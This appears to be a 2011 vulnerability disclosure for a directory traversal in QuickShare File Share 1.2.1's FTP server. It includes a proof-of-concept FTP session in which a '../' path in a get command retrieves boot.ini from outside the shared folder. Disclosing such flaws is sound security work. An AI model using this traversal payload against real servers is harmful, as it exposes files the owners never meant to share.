73 lines
No EOL
2.7 KiB
Python
Executable file
73 lines
No EOL
2.7 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
# Exploit Title: QuickShare File Share 1.2.1 Directory Traversal Vulnerability
|
|
# Date: 02/03/2011
|
|
# Author: modpr0be
|
|
# Software Link: http://www.quicksharehq.com/files/qfssetup.exe
|
|
# Vulnerable version: 1.2.1
|
|
# Tested on: Windows XP SP3 (VMware Player 3.1.3 build-324285)
|
|
# CVE : N/A
|
|
|
|
# ======================================================================
|
|
# ___ _ __ __ __ _ __
|
|
# ____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _
|
|
# / __ / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __ / __ \/ __ `/
|
|
# / /_/ / / /_/ / / /_/ /_/ / / / __/ /__/ / / / / /_/ / / / / /_/ /
|
|
# \__,_/_/\__, /_/\__/\__,_/_/ \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
|
|
# /____/ http://www.digital-echidna.org
|
|
# ======================================================================
|
|
#
|
|
# Greetz:
|
|
# say hello to all digital-echidna org crew:
|
|
# otoy, cipherstring, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
|
|
# special thx:
|
|
# otoy, cipherstring, cyb3r.anbu, oebaj.
|
|
# help for documentation:
|
|
# offsec, exploit-db, corelan-team, 5M7X, loneferret.
|
|
#
|
|
|
|
#### Software description:
|
|
# QuickShare File Server is a easy to use file sharing software helps you
|
|
# build your own file server. Users could access your server through web
|
|
# browsers or FTP client softwares (In most case, they need not to install
|
|
# any extra softwares). Users could send or receive large files to or from you.
|
|
# You could create account and set password to protect your files.
|
|
#
|
|
#### Exploit information:
|
|
# It's a directory traversal. User without prior permission can get a file
|
|
# outside the specified directory (e.g. get a file from %systemroot%).
|
|
#
|
|
# This vulnerability can be exploited by anonymous or authenticated users.
|
|
#
|
|
##
|
|
|
|
# Below is the proof of concept
|
|
# authenticated user logged in to the quickshare ftp server from Ubuntu Linux.
|
|
#
|
|
|
|
modpr0be@digital-echidna:~$ ftp 10.5.5.27
|
|
Connected to 10.5.5.27.
|
|
220 quickshare ftpd ready.
|
|
Name (10.5.5.27:modpr0be): ftpuser
|
|
331 User name okay, need password.
|
|
Password:
|
|
230 Login successful.
|
|
Remote system type is UNIX.
|
|
Using binary mode to transfer files.
|
|
ftp> get ../../../../../../../../boot.ini boot.ini
|
|
local: boot.ini remote: ../../../../../../../../boot.ini
|
|
200 PORT command successful. Consider using PASV.
|
|
150 Opening BINARY connection.
|
|
226 File send OK.
|
|
211 bytes received in 0.00 secs (127.0 kB/s)
|
|
ftp> quit
|
|
221 Goodbye.
|
|
modpr0be@digital-echidna:~$ cat boot.ini
|
|
[boot loader]
|
|
timeout=30
|
|
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
|
|
[operating systems]
|
|
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
|
|
modpr0be@digital-echidna:~$
|
|
|
|
# Eof |